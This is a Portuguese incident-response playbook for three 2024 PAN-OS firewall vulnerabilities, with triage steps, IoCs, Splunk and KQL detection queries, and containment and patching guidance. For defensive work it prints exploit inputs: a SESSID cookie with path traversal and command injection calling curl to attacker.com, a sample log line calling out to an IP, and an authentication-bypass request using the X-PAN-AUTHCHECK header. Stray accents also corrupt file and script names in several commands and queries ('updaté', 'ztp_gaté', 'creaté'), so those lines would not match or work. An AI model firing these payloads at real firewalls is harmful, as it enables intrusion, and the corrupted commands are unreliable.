> [!warning] Aviso Importante > Este playbook é um ponto de partida. Deve ser revisado, testado e adaptado ao ambiente da sua organização. Não substitui um plano formal de Incident Response. # IR Playbook - Exploração de PAN-OS (2024) Playbook consolidado de Incident Response para três vulnerabilidades críticas do Palo Alto Networks PAN-OS descobertas e exploradas ativamente em 2024: [[cve-2024-3400|CVE-2024-3400]], [[cve-2024-0012|CVE-2024-0012]] e [[cve-2024-9474|CVE-2024-9474]]. Todas as três estão no catálogo CISA KEV e foram exploradas por atores de ameaça sofisticados em operações rastreadas como **Operation MidnightEclipse** e **Operation Lunar Peek**. --- ## Visão Geral ### Contexto dos CVEs | CVE | Publicado | CVSS | Superfície de Ataque | CISA KEV | |-----|-----------|------|----------------------|----------| | [[cve-2024-3400\|CVE-2024-3400]] | Abr 2024 | 10.0 CRÍTICO | GlobalProtect gateway/portal | Sim (adicionado 12/04/2024) | | [[cve-2024-0012\|CVE-2024-0012]] | Nov 2024 | 9.3 CRÍTICO | Interface web de gerenciamento | Sim (adicionado 18/11/2024) | | [[cve-2024-9474\|CVE-2024-9474]] | Nov 2024 | 6.9 MÉDIO | Interface web de gerenciamento | Sim (adicionado 18/11/2024) | ### Descrição Técnica dos CVEs **[[cve-2024-3400|CVE-2024-3400]] — GlobalProtect Command Injection** Vulnerabilidade de injeção de comandos via criação arbitrária de arquivos no recurso GlobalProtect do PAN-OS. Um atacante não autenticado pode executar código arbitrário com privilégios root no firewall através de path traversal no cookie `SESSID`. Afeta PAN-OS 10.2, 11.0 e 11.1 com GlobalProtect gateway ou portal configurado. Explorada pela campanha Operation MidnightEclipse pelo ator rastreado como UTA0218, com implantação do backdoor Python **UPSTYLE**. Técnica primária: [[t1190-exploit-public-facing-application|T1190 — Exploit Public-Facing Application]]. **[[cve-2024-0012|CVE-2024-0012]] — Management Interface Authentication Bypass** Bypass de autenticação na interface web de gerenciamento do PAN-OS. Um atacante não autenticado com acesso de rede à interface de gerenciamento pode obter privilégios de administrador PAN-OS enviando requisição HTTP com o header `X-PAN-AUTHCHECK: off`, contornando o script `uiEnvSetup.php`. Afeta PAN-OS 10.2, 11.0, 11.1 e 11.2 em appliances PA-Series, VM-Series, CN-Series e Panorama. Explorada na campanha Operation Lunar Peek. **[[cve-2024-9474|CVE-2024-9474]] — Management Interface Privilege Escalation** Escalada de privilégios na interface web de gerenciamento. Um administrador PAN-OS autenticado pode executar ações no firewall com privilégios root via o script `createRemoteAppwebSession.php`, permitindo criação de usuários arbitrários com funções arbitrárias. Afeta PAN-OS 10.1, 10.2, 11.0, 11.1 e 11.2. Normalmente encadeado com [[cve-2024-0012|CVE-2024-0012]] para obter RCE não autenticado com root. Técnica: [[t1068-exploitation-privilege-escalation|T1068 — Exploitation for Privilege Escalation]]. ### Attack Flow Típica ``` CVE-2024-0012 (auth bypass) → CVE-2024-9474 (privesc root) ↓ CVE-2024-3400 (RCE root via GlobalProtect) — vetor independente ↓ Exfiltração de running-config.xml → Movimento lateral → Backdoor/Web Shell ``` A técnica [[t1505-server-software-component|T1505 — Server-Side Backdoor]] foi observada em ambas as campanhas: implantação do UPSTYLE (CVE-2024-3400) e web shells PHP genéricos (CVE-2024-0012/9474). --- ## Fluxo de Resposta ao Incidente ```mermaid flowchart TD A([🚨 Firewall PAN-OS<br/>Comportamento Anômalo]) --> B{Identificar\nVetor} B -->|GlobalProtect exposto| C[Investigar<br/>CVE-2024-3400] B -->|Management interface\nexposta| D[Investigar<br/>CVE-2024-0012 + CVE-2024-9474] B -->|Ambos aplicáveis| E[Investigar<br/>Todos em Paralelo] C --> F{Comprometimento\nConfirmado?} D --> F E --> F F -->|Sim — IoC encontrado| G[DECLARAR INCIDENTE P1] F -->|Não — suspeita apenas| H[Gerar Tech Support File<br/>Análise Forense] G --> I[ISOLAMENTO IMEDIATO<br/>Bloquear upstream do firewall] H --> I I --> J[Gerar TSF antes<br/>de qualquer mudança] J --> K{CVE-2024-3400\nou CVE-0012/9474?} K -->|3400| L[Remover UPSTYLE<br/>Remover cron /etc/cron.d/updaté<br/>Remover CSS maliciosos] K -->|0012/9474| M[Remover web shells PHP<br/>Revogar contas admin criadas<br/>Revertir config suspeita] L --> N[Aplicar Patch<br/>Versão Corrigida] M --> N N --> O[Rotacionar TODAS<br/>as credenciais] O --> P[Validar Remediação<br/>Reabilitar com controles] P --> Q[Monitoramento<br/>Intensivo 72h] Q --> R([✅ Incidente Encerrado]) style A fill:#ff6600,color:#fff style G fill:#ff0000,color:#fff style R fill:#00aa44,color:#fff style I fill:#cc3300,color:#fff ``` --- ## Diagrama de Comúnicação ```mermaid sequenceDiagram participant SOC as SOC Analyst participant IR as IR Lead participant NetEng as Network/Firewall Team participant CISO as CISO participant PAN as Palo Alto TAC participant Legal as Jurídico/DPO participant Exec as Executivos SOC->>IR: T+0: IoC encontrado em PAN-OS — possível exploração IR->>NetEng: T+5min: Gerar Tech Support File — NÃO reiniciar ainda NetEng->>IR: T+15min: TSF coletado — confirmar comprometimento IR->>CISO: T+15min: Declarar incidente P1 — PAN-OS comprometido IR->>PAN: T+20min: Abrir caso TAC para suporte técnico CISO->>Exec: T+30min: Briefing executivo — firewall comprometido, ações em curso NetEng->>NetEng: T+30min: Isolamento do firewall — redirecionar tráfego IR->>Legal: T+1h: Avaliação LGPD — running-config exfiltrada pode conter dados pessoais PAN->>IR: T+2h: Orientações técnicas de remediação (TAC) NetEng->>IR: T+4h: Patch aplicado — válidação em curso IR->>CISO: T+6h: Relatório de contenção e erradicação Legal->>CISO: T+24h: Parecer sobre notificação regulatória IR->>Exec: T+72h: Post-mortem e lições aprendidas ``` --- ## Ferramentas Recomendadas ### Detecção e Análise | Ferramenta | Uso | Comando | |------------|-----|---------| | **PAN-OS CLI** | Análise de logs gpsvc, system, nginx | `grep pattern "failed to unmarshal" mp-log gpsvc.log*` | | **Wireshark** | Análise de tráfego capturado - identificar exploits | Filtro: `http.request.uri contains "global-protect"` | | **Velociraptor** | Hunting remoto em endpoints pós-comprometimento | Artefatos de rede e processo | | **Zeek** | Análise de sessões TLS suspeitas saindo do firewall | Log `ssl.log` - verificar certificados auto-assinados | ### Forense | Ferramenta | Uso | |------------|-----| | **Tech Support File (TSF)** | Coleta forense nativa do PAN-OS - logs completos, memória, disco | | **Volatility 3** | Análise de memória se appliance virtual (VM-Series) | | **FTK Imager** | Imagem do disco do VM-Series antes de ações de remediação | ### Verificação de Integridade | Ferramenta | Uso | Comando | |------------|-----|---------| | **sha256sum** | Verificar hash de arquivos CSS e binários PAN-OS | `sha256sum /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css` | | **sigcheck (Sysinternals)** | Verificar assinatura de binários Windows pós-comprometimento | `sigcheck -u -e C:\Program Files\Palo Alto Networks\` | | **PAN-OS file-check** | Verificar integridade do sistema | `request system file-check` | ### Threat Intelligence | Ferramenta | Uso | |------------|-----| | **VirusTotal** | Verificar IPs/domínios de C2 identificados nos logs | | **Shodan** | Identificar se o firewall estava exposto públicamente | | **CISA KEV** | Monitorar novos CVEs PAN-OS adicionados ao catálogo | --- ## Checklist de Contenção - [ ] Confirmar comprometimento antes de agir - buscar IoCs específicos nas seções 3-5 - [ ] **Gerar Tech Support File (TSF)** antes de qualquer mudança: `tftp export tech-support to <ip>` - [ ] Tirar snapshot do VM-Series no hypervisor (se appliance virtual) - [ ] Isolar o firewall via bloqueio upstream (switch ou roteador - não via o próprio firewall) - [ ] Documentar timestamp e versão PAN-OS exatos no momento do isolamento - [ ] Verificar que os dispositivos downstream continuam operando com última configuração recebida - [ ] Abrir caso no TAC da Palo Alto com o TSF coletado - [ ] Notificar CISO e equipe jurídica - running-config pode conter credenciais e dados de usuários - [ ] Bloquear IPs de C2 identificados nos logs em dispositivos upstream ## Checklist de Erradicação - [ ] CVE-2024-3400: remover `/etc/cron.d/updaté` e outros cron jobs maliciosos - [ ] CVE-2024-3400: remover arquivos CSS suspeitos em `/var/appweb/sslvpndocs/global-protect/` - [ ] CVE-2024-3400: restaurar `bootstrap.min.css` se comprometido pelo UPSTYLE - [ ] CVE-2024-3400: matar processos Python suspeitos e remover scripts de backdoor - [ ] CVE-0012/9474: remover web shells PHP de `/var/appweb/` - [ ] CVE-0012/9474: remover usuários administrativos criados pelo atacante - [ ] CVE-0012/9474: reverter configurações suspeitas no `running-config.xml` - [ ] Aplicar patch para a versão corrigida (conforme tabela de versões na Seção 8) - [ ] Para comprometimentos confirmados: solicitar Enhanced Factory Reset (EFR) ao TAC - [ ] Verificar integridade: `request system file-check` - [ ] Revogar e regenerar todos os certificados do firewall - [ ] Resetar senhas de todos os administradores PAN-OS - [ ] Revogar API keys comprometidas - [ ] Notificar IAM sobre credenciais expostas na running-config exfiltrada ## Checklist de Recuperação - [ ] Confirmar versão pós-patch: `show system info | match sw-version` - [ ] Reválidar com curl de teste se patch do CVE-2024-3400 está ativo - [ ] Re-executar todos os comandos de detecção das Seções 3-5 - confirmar zero resultados - [ ] Reabilitar GlobalProtect com Threat Prevention Signatures ativas (IDs: 95187, 95189, 95191) - [ ] Reexpor management interface SOMENTE para IPs internos confiáveis - [ ] Habilitar MFA para acesso administrativo - [ ] Configurar jump box dedicado para acesso ao management - [ ] Monitoramento intensivo por 72h após recuperação - [ ] Notificação regulatória se dados pessoais podem ter trafegado pelo firewall comprometido (LGPD) --- ## 2. Triagem - Qual CVE Foi Explorado? ### Tabela Comparativa de Versões Afetadas | Versão PAN-OS | CVE-2024-3400 | CVE-2024-0012 | CVE-2024-9474 | |---------------|:---:|:---:|:---:| | 10.1 | Não | Não | Sim | | 10.2 (< 10.2.9-h1) | Sim | Sim | Sim | | 10.2 (10.2.9-h1 a < 10.2.12-h2) | Não | Sim | Sim | | 11.0 (< 11.0.4-h1) | Sim | Sim | Sim | | 11.0 (11.0.4-h1 a < 11.0.6-h1) | Não | Sim | Sim | | 11.1 (< 11.1.2-h3) | Sim | Sim | Sim | | 11.1 (11.1.2-h3 a < 11.1.5-h1) | Não | Sim | Sim | | 11.2 (< 11.2.4-h1) | Não | Sim | Sim | | Cloud NGFW / Prisma Access | Não afetado | Não afetado | Não afetado | ### Árvore de Decisão para Triagem ``` Firewall PAN-OS suspeito de comprometimento? │ ├─► Versão: PAN-OS 10.2, 11.0 ou 11.1 sem patch? │ └─► GlobalProtect gateway ou portal está configurado? │ ├─► SIM → Investigar CVE-2024-3400 (Seção 3) │ └─► NÃO → Pular para verificação de management interface │ ├─► Interface de gerenciamento exposta externamente (internet ou rede não confiável)? │ └─► Versão afetada por CVE-2024-0012? │ ├─► SIM → Investigar CVE-2024-0012 (Seção 4) │ │ + verificar CVE-2024-9474 encadeado (Seção 5) │ └─► NÃO → Investigar CVE-2024-9474 isolado (Seção 5) │ (requer acesso admin pré-existente) │ └─► Ambos os vetores aplicáveis? → Investigar TODOS em paralelo ``` > [!tip] Indicador Rápido > Se você encontrar arquivos `.css` suspeitos em `/var/appweb/sslvpndocs/global-protect/`, ou logs `gpsvc.log` com path traversal no campo session, a exploração é do [[cve-2024-3400|CVE-2024-3400]]. Se encontrar requisições HTTP ao management com header `X-PAN-AUTHCHECK: off` nos logs, é [[cve-2024-0012|CVE-2024-0012]]. --- ## 3. CVE-2024-3400 - GlobalProtect Command Injection ### Mecanismo de Exploração O atacante manipula o cookie `SESSID` com uma string de path traversal e injeção de comando. O PAN-OS cria um arquivo com o nome do valor do cookie no diretório de telemetria, e o serviço de telemetria processa o "nome do arquivo" como um comando shell: ``` Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/hour/[cmd]`curl${IFS}attacker.com` ``` ### Passo 1 - Verificar Versão e Configuração 1. No CLI PAN-OS, executar: `show system info | match version` 2. Verificar se GlobalProtect está configurado: `Network > GlobalProtect > Gateways` e `Network > GlobalProtect > Portals` 3. Confirmar se versão está no escopo afetado (10.2 < 10.2.9-h1, 11.0 < 11.0.4-h1, 11.1 < 11.1.2-h3) ### Passo 2 - Buscar Indicadores em Logs GlobalProtect Executar o comando oficial Palo Alto no CLI do firewall: ```bash grep pattern "failed to unmarshal session(.\\+.\\/" mp-log gpsvc.log* ``` **Resultado legítimo** (GUID normal): ``` failed to unmarshal session(3f2a1b4c-8e9d-4f1a-b2c3-d4e5f6789012) ``` **Resultado malicioso** (path traversal visível): ``` failed to unmarshal session(/../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}11.22.33.44:1234?user`) ``` > [!danger] Comprometimento Confirmado > Se o valor entre `session(` e `)` contém `/`, `..`, `curl`, `wget`, `bash`, `base64` ou `echo`, o dispositivo foi comprometido. Acionar o plano de contenção (Seção 7) imediatamente. ### Passo 3 - Verificar Logs de Telemetry Buscar no arquivo `/var/log/pan/sslvpn_ngx_error.log` padrões de alto risco: ```bash grep -E "base64.*bash|echo.*bash|wget.*bash" /var/log/pan/sslvpn_ngx_error.log ``` Detectar strings base64 codificando comandos de cópia de configuração: ```bash grep -E "[A-Za-z0-9+/]{20,}={0,2}" /var/log/pan/sslvpn_ngx_error.log | grep "base64" ``` ### Passo 4 - Verificar Web Shells e Arquivos Suspeitos Verificar presença de arquivos CSS ou outros artefatos criados pelo atacante: ```bash ls -la /var/appweb/sslvpndocs/global-protect/*.css ls -la /var/appweb/sslvpndocs/global-protect/portal/css/ ``` Verificar se `bootstrap.min.css` foi modificado (backdoor UPSTYLE): ```bash # [VALIDAR NO SEU AMBIENTE] - comparar hash com versão original da Palo Alto sha256sum /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css ``` Verificar cron jobs maliciosos implantados: ```bash ls -la /etc/cron.d/ cat /etc/cron.d/updaté # arquivo criado pelo atacante na Operation MidnightEclipse ``` ### Passo 5 - Verificar Exfiltração de Configuração O padrão mais comum pós-exploração é cópia de `running-config.xml` para o diretório web acessível: ```bash find /var/appweb/sslvpndocs/global-protect/ -name "*.css" -newer /var/appweb/sslvpndocs/global-protect/login.esp find /var/appweb/sslvpndocs/global-protect/ -name "*.xml" ``` Verificar logs de acesso nginx para downloads da configuração: ```bash grep -E "\.(css|xml) HTTP/[0-9]" /var/log/pan/sslvpn_ngx_access.log | grep -v "bootstrap|style|theme" ``` ### Passo 6 - Verificar Backdoor UPSTYLE O UPSTYLE é um backdoor Python que monitora `/var/log/pan/sslvpn_ngx_error.log` em busca de padrões e executa comandos exfiltrados via o arquivo CSS legítimo `bootstrap.min.css`. ```bash # Verificar processos Python suspeitos ps aux | grep python # Verificar se existe script Python persistente find /opt/ /tmp/ /var/tmp/ -name "*.py" -newer /var/log/pan/gpsvc.log 2>/dev/null ``` ### Indicadores de Compromisso (IoCs) Conhecidos - CVE-2024-3400 | Tipo | Valor | Fonte | |------|-------|-------| | IP C2 | `172.233.228[.]93` | Unit 42 / Volexity | | IP atacante | `66.235.168[.]222` | Unit 42 | | Arquivo malicioso | `/etc/cron.d/updaté` | Volexity | | Arquivo malicioso | `/var/appweb/sslvpndocs/global-protect/*.css` (inesperado) | Volexity | | User-agent | `python-requests` (processos Python inexplicados) | Unit 42 | > [!warning] IoCs Defasados > IPs de C2 mudam frequentemente. Verifique fontes atualizadas (VirusTotal, OTX AlienVault) antes de usar estes IoCs para bloqueio. --- ## 4. CVE-2024-0012 - Management Interface Authentication Bypass ### Mecanismo de Exploração A vulnerabilidade está no script `uiEnvSetup.php`. O atacante envia uma requisição HTTP com o header `X-PAN-AUTHCHECK: off` para o Nginx reverse proxy, que repassa sem processamento, fazendo o script pular a verificação de autenticação: ```http GET /php/ztp_gaté.php/.js.map HTTP/1.1 Host: <management-ip> X-PAN-AUTHCHECK: off ``` ### Passo 1 - Verificar Exposição da Interface de Gerenciamento 1. Confirmar se a interface de gerenciamento está acessível de redes não confiáveis 2. Verificar regras de firewall para porta de gestão (tipicamente TCP 443 ou 4443) 3. Verificar no Customer Support Portal: `Products → Assets → All Assets → Remediation Required` - dispositivos marcados com `PAN-SA-2024-0015` ### Passo 2 - Analisar Logs de Acesso da Interface de Gerenciamento Buscar requisições com o header de bypass nos logs do servidor web de gerenciamento: ```bash # [VALIDAR NO SEU AMBIENTE] - caminho pode variar por versão grep -i "X-PAN-AUTHCHECK" /var/log/pan/appweb3-access.log grep -i "authcheck.*off" /var/log/pan/appweb3-access.log ``` Verificar acessos não autenticados a scripts PHP privilegiados: ```bash grep -E "(ztp_gaté|php).*(200|302)" /var/log/pan/appweb3-access.log | grep -v "login|auth" ``` ### Passo 3 - Verificar Ações Administrativas Suspeitas Após bypass de autenticação via [[cve-2024-0012|CVE-2024-0012]], atacantes geralmente: - Modificam configurações do firewall - Criam usuários administrativos backdoor - Exportam configuração (`running-config.xml`) - Preparam escalada para CVE-2024-9474 ```bash # Verificar criação de usuários locais suspeitos grep -E "add.*user|creaté.*admin" /var/log/pan/system.log # Verificar modificações de configuração grep -i "config.*commit|commit.*success" /var/log/pan/system.log | tail -50 ``` ### Passo 4 - Verificar Web Shells Implantados Após exploração, atacantes foram observados implantando web shells PHP: ```bash find /var/appweb/ -name "*.php" -newer /var/appweb/sslvpndocs/index.html -ls 2>/dev/null # [VALIDAR NO SEU AMBIENTE] - ajustar timestamp de referência ``` ### Passo 5 - Verificar Download de Ferramentas (curl/wget) Nos logs de rede e sistema, buscar downloads externos iniciados pelo appliance: ```bash grep -E "curl|wget" /var/log/pan/system.log | grep -v "updaté|content|signature" ``` Padrão observado: uso de `Wget/1.19.5 (linux-gnu)` e `curl/7.61.1` para download de payloads. --- ## 5. CVE-2024-9474 - Escalada de Privilégios via Management Interface ### Mecanismo de Exploração A vulnerabilidade está no script `createRemoteAppwebSession.php`. Um atacante com acesso de administrador (obtido via [[cve-2024-0012|CVE-2024-0012]] ou conta legítima comprometida) pode criar usuários arbitrários com papéis arbitrários e obter um `session ID` PHP. Com este token, é possível fazer upload de código PHP malicioso e executar comandos com privilégios root. > [!danger] Encadeamento Crítico > CVE-2024-9474 é classificado como MÉDIO (6.9) isoladamente, mas quando encadeado com [[cve-2024-0012|CVE-2024-0012]] resulta em **RCE não autenticado com root**. Sempre investigar ambos quando a interface de gerenciamento for exposta. ### Passo 1 - Verificar Execução de Comandos com Root ```bash # Verificar histórico de comandos executados com root grep -E "root.*exec|sudo.*root" /var/log/pan/system.log # Verificar se createRemoteAppwebSession foi acessado grep "createRemoteAppwebSession" /var/log/pan/appweb3-access.log ``` ### Passo 2 - Verificar Usuários Criados Anormalmente ```bash # Listar usuários locais configurados grep -E "username|local-user" /opt/pancfg/mgmt/saved-configs/running-config.xml # Verificar sessions PHP ativas ls -la /var/appweb/htdocs/php/session/ 2>/dev/null ``` ### Passo 3 - Verificar Atividade Pós-Exploração Típica Com base nas observações de Darktrace e Arctic Wolf durante Operation Lunar Peek (Nov 2024): 1. **Validação do exploit**: requisições HTTP a serviços OAST (out-of-band) para confirmar execução 2. **Download de payloads**: uso de `curl` e `wget` para buscar binários de C2 3. **Conexões TLS suspeitas**: conexões a IPs externos com certificados auto-assinados 4. **Reconhecimento interno**: varreduras em portas SMB (445), SSH (22) e RDP (3389) 5. **Movimento lateral**: tentativas de autenticação NTLM anônima 6. **Cryptomining**: atividade de CPU elevada inexplicada 7. **Sliver C2**: framework Sliver foi identificado em ~50% dos casos investigados ```bash # Verificar processos com alto consumo de CPU # [VALIDAR NO SEU AMBIENTE] top -b -n 1 | head -30 # Verificar conexões de rede estabelecidas pelo firewall netstat -an | grep ESTABLISHED | grep -v "127.0.0.1|::1" ``` --- ## 6. Detecção - Queries SIEM ### Splunk SPL - CVE-2024-3400 (GlobalProtect) ```spl index=palo_alto sourcetype=pan:system "failed to unmarshal session" | regex message="failed to unmarshal session\(.*[\/\\\\\.]{2,}.*\)" | table _time, host, message | sort -_time ``` ```spl index=palo_alto sourcetype=pan:globalprotect (message="*base64*bash*" OR message="*wget*bash*" OR message="*curl*bash*") | stats count by host, message | where count > 0 ``` Detecção de arquivos CSS suspeitos via acesso web: ```spl index=palo_alto sourcetype=pan:traffic dest_port=443 (url="*/global-protect/*.css" NOT url="*bootstrap*" NOT url="*style*" NOT url="*theme*") | table _time, src_ip, url, bytes_out ``` ### Splunk SPL - CVE-2024-0012 / CVE-2024-9474 (Management Interface) ```spl index=palo_alto sourcetype=pan:system (message="*X-PAN-AUTHCHECK*off*" OR message="*authcheck*bypass*") | table _time, host, src, message ``` ```spl index=palo_alto sourcetype=pan:system (message="*createRemoteAppwebSession*" OR message="*ztp_gaté*") src NOT IN ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16") | table _time, host, src, message | sort -_time ``` Detecção de download de payloads pós-exploração: ```spl index=palo_alto sourcetype=pan:traffic app="web-browsing" src_zone="management" (url="*wget*" OR url="*curl*" OR user_agent="*Wget*" OR user_agent="*curl*") NOT dest IN ("updates.paloaltonetworks.com", "contentupdates.paloaltonetworks.com") | table _time, src, dest, url, user_agent ``` ### Microsoft Sentinel / KQL - CVE-2024-3400 ```kql CommonSecurityLog | where DeviceVendor == "Palo Alto Networks" | where DeviceProduct == "PAN-OS" | where Message contains "failed to unmarshal session" | where Message matches regex @"session\([^)]*[/\\\.]{2,}[^)]*\)" | project TimeGenerated, DeviceName, Message, SourceIP | sort by TimeGenerated desc ``` ```kql CommonSecurityLog | where DeviceVendor == "Palo Alto Networks" | where Message has_any ("base64", "wget", "curl") and Message has "bash" | where Message contains "gpsvc" or Message contains "global-protect" | project TimeGenerated, DeviceName, SourceIP, Message ``` ### Microsoft Sentinel / KQL - CVE-2024-0012 / CVE-2024-9474 ```kql CommonSecurityLog | where DeviceVendor == "Palo Alto Networks" | where RequestURL has_any ("ztp_gaté", "createRemoteAppwebSession", "php") | where SourceIP !in~ ("10.0.0.0/8") // [VALIDAR NO SEU AMBIENTE] - ajustar CIDRs internos | project TimeGenerated, DeviceName, SourceIP, RequestURL, RequestMethod | sort by TimeGenerated desc ``` > [!note] Regras de Detecção > Queries acima foram construídas com base em artefatos forenses públicados por Volexity, Unit 42, Darktrace e Arctic Wolf. Adapte índices, sourcetypes e CIDRs ao seu ambiente antes de implantar em produção. --- ## 7. Contenção > [!danger] Contenção Urgente > Dispositivos PAN-OS comprometidos devem ser isolados antes de qualquer análise forense adicional para evitar uso contínuo como pivot de rede interna. ### Passo 1 - Isolamento Imediato 1. **Isolar o firewall da rede interna**: redirecionar ou bloquear tráfego de gerenciamento no upstream 2. **Preservar estado para forense**: tirar snapshot de memória e disco antes de qualquer reinicialização (especialmente para VM-Series) 3. **Revogar credenciais comprometidas**: redefinir senhas de todos os administradores PAN-OS imediatamente 4. **Documentar estado atual**: registrar timestamp, versão PAN-OS, hostname, IP de gerenciamento ### Passo 2 - Gerar Tech Support File (TSF) para Análise Forense ```bash # Via CLI PAN-OS tftp export tech-support to <ip> file <hostname>-tsf-<daté>.tar.gz ``` O TSF contém logs de `/tmp/`, `/var/log/`, `/var/cores/crashinfo/`, `/opt/dpfs/`, `/opt/pancfg/panlogs`, `/opt/panlogs/`, `/opt/panrepo/`, `/opt/plugins/`. **Colete antes de aplicar patches ou reiniciar.** ### Passo 3 - CVE-2024-3400 - Desabilitar GlobalProtect Temporariamente Se não for possível fazer patch imediato e o CVE-2024-3400 for o vetor identificado: 1. Desabilitar GlobalProtect gateway e portal temporariamente 2. Aplicar Threat Prevention Signatures (Threat IDs: **95187**, **95189**, **95191**) - requer subscription 3. Verificar aplicação correta: `curl -v -k -H "Cookie: SESSID=/../TESTVULN" https://<target>/global-protect/login.esp` - se retornar TCP reset, as signatures estão ativas ### Passo 4 - CVE-2024-0012 / CVE-2024-9474 - Restringir Acesso ao Management 1. **Bloquear acesso externo à interface de gerenciamento** - restringir a IPs internos confiáveis apenas 2. Verificar e remover qualquer perfil de gerenciamento em interfaces de dataplane com GlobalProtect 3. Se usar jump box, garantir que apenas o IP do jump box tem acesso à management interface 4. Considerar desabilitar o acesso HTTPS à management interface temporariamente se nenhum controle de IP puder ser aplicado imediatamente ### Passo 5 - Bloquear IoCs de Rede Identificados ```bash # [VALIDAR NO SEU AMBIENTE] - verificar IoCs atualizados antes de bloquear # Bloquear IPs de C2 conhecidos no upstream # Monitorar DNS para domínios OAST (*.oast.pro, *.oast.site, *.interactsh.com) ``` --- ## 8. Erradicação ### Passo 1 - Remover Artefatos Maliciosos ```bash # CVE-2024-3400: remover cron jobs maliciosos rm -f /etc/cron.d/updaté ls /etc/cron.d/ # verificar outros arquivos suspeitos # Remover arquivos CSS suspeitos em diretório GlobalProtect find /var/appweb/sslvpndocs/global-protect/ -name "*.css" -not -name "bootstrap*" -not -name "theme*" -not -name "style*" -ls # Remover após confirmação que são maliciosos # Restaurar bootstrap.min.css se modificado pelo UPSTYLE # [VALIDAR NO SEU AMBIENTE] - obter hash original do vendor ``` ### Passo 2 - Remover Web Shells e Backdoors ```bash # Identificar scripts PHP não esperados find /var/appweb/ -name "*.php" -newer /var/log/pan/system.log -ls 2>/dev/null # [VALIDAR NO SEU AMBIENTE] - ajustar referência de tempo # Verificar processos Python suspeitos rodando como backdoor ps aux | grep -E "python|python3" | grep -v "pan|system" kill -9 <PID> # após confirmação ``` ### Passo 3 - Aplicar Patches **CVE-2024-3400:** - PAN-OS 10.2 → atualizar para **10.2.9-h1** ou superior - PAN-OS 11.0 → atualizar para **11.0.4-h1** ou superior - PAN-OS 11.1 → atualizar para **11.1.2-h3** ou superior **CVE-2024-0012 e CVE-2024-9474:** - PAN-OS 10.1 → atualizar para **10.1.14-h6** ou superior - PAN-OS 10.2 → atualizar para **10.2.12-h2** ou superior - PAN-OS 11.0 → atualizar para **11.0.6-h1** ou superior - PAN-OS 11.1 → atualizar para **11.1.5-h1** ou superior - PAN-OS 11.2 → atualizar para **11.2.4-h1** ou superior > [!warning] Persistência Pós-Patch > A Palo Alto confirmou existência de técnicas de persistência pós-exploração do CVE-2024-3400 que **sobrevivem a resets e upgrades**. Para dispositivos possívelmente comprometidos antes de 25/04/2024 ou com comprometimento confirmado, abrir caso no TAC da Palo Alto para solicitar o procedimento de **Enhanced Factory Reset (EFR)**. ### Passo 4 - Verificar Integridade do PAN-OS ```bash # Via CLI - verificar integridade dos componentes do sistema # [VALIDAR NO SEU AMBIENTE] - comando específico pode variar por versão request system file-check ``` ### Passo 5 - Revogar Certificados e Credenciais Comprometidos 1. Revogar e regenerar certificados do firewall 2. Redefinir todas as senhas de administradores locais 3. Revogar API keys comprometidas (Network > GlobalProtect > Admin Keys) 4. Notificar equipe de IAM sobre possível comprometimento de credenciais na `running-config.xml` exfiltrada (inclui credenciais LDAP/AD, chaves pre-shared, certificados) --- ## 9. Recuperação ### Passo 1 - Validar Patch Aplicado ```bash # Confirmar versão pós-patch show system info | match "sw-version" # CVE-2024-3400: re-testar com curl de válidação curl -v -k -H "Cookie: SESSID=/../TESTVULN" https://<target>/global-protect/login.esp # Resposta esperada: TCP reset (signatures ativas) ou HTTP 4xx sem processamento do cookie ``` ### Passo 2 - Validar Remoção de Artefatos 1. Re-executar todos os comandos de detecção das Seções 3-5 e confirmar ausência de resultados positivos 2. Verificar ausência de cron jobs maliciosos: `cat /etc/cron.d/*` 3. Verificar ausência de processos Python suspeitos: `ps aux | grep python` 4. Verificar integridade de arquivos CSS do GlobalProtect ### Passo 3 - Reabilitar Serviços com Controles Reforçados **Antes de reabilitar GlobalProtect (CVE-2024-3400):** - Confirmar patch aplicado corretamente - Habilitar Threat Prevention Signatures (IDs 95187, 95189, 95191) - Revisar regras de vulnerability protection aplicadas à interface GlobalProtect **Antes de reexpor interface de gerenciamento:** - Confirmar que acesso está restrito a IPs internos confiáveis - Habilitar MFA para acesso administrativo se disponível - Configurar jump box dedicado para acesso administrativo - Habilitar logs detalhados de acesso administrativo ### Passo 4 - Monitoramento Intensificado (72h pós-recuperação) 1. Ativar todas as queries de detecção da Seção 6 em modo de alerta em tempo real 2. Monitorar conexões de rede originadas pelo firewall para destinos externos 3. Monitorar criação de arquivos nos diretórios web do PAN-OS 4. Verificar logs de autenticação administrativa a cada 4 horas 5. Monitorar CISA KEV por novos CVEs relacionados a PAN-OS ### Passo 5 - Notificações e Relatórios 1. Notificar CISO e equipe jurídica sobre possível exfiltração de `running-config.xml` 2. Avaliar necessidade de notificação regulatória (LGPD se dados pessoais trafegavam pelo firewall) 3. Documentar linha do tempo completa do incidente 4. Registrar IoCs no vault: [[cve-2024-3400|CVE-2024-3400]], [[cve-2024-0012|CVE-2024-0012]], [[cve-2024-9474|CVE-2024-9474]] --- ## 10. Lições Aprendidas e Controles Preventivos | Controle | CVE-2024-3400 | CVE-2024-0012 | CVE-2024-9474 | |----------|:---:|:---:|:---:| | Gestão de patches em 48h para CISA KEV | Previne | Previne | Previne | | Interface de gerenciamento sem exposição à internet | N/A | Previne | Previne | | GlobalProtect com Threat Prevention ativo | Mitiga | N/A | N/A | | MFA para acesso administrativo | N/A | Mitiga | Mitiga | | Monitoramento de logs de telemetria e gpsvc | Detecta | N/A | N/A | | SIEM com regras para PAN-OS | Detecta | Detecta | Detecta | | Jump box dedicado para management | N/A | Previne | Previne | --- ## Referências ### CVEs e Notas do Vault - [[cve-2024-3400|CVE-2024-3400]] - GlobalProtect Command Injection (CVSS 10.0) - [[cve-2024-0012|CVE-2024-0012]] - Management Interface Auth Bypass (CVSS 9.3) - [[cve-2024-9474|CVE-2024-9474]] - Management Interface Privilege Escalation (CVSS 6.9) - [[cve-2024-3400|CVE-2024-3400]] - [[cve-2024-0012|CVE-2024-0012]] - [[cve-2024-9474|CVE-2024-9474]] ### Técnicas MITRE ATT&CK - [[t1190-exploit-public-facing-application|T1190 - Exploit Public-Facing Application]] - vetor inicial CVE-2024-3400 e CVE-2024-0012 - [[t1068-exploitation-privilege-escalation|T1068 - Exploitation for Privilege Escalation]] - CVE-2024-9474 - [[t1505-server-software-component|T1505 - Server-Side Backdoor]] - UPSTYLE 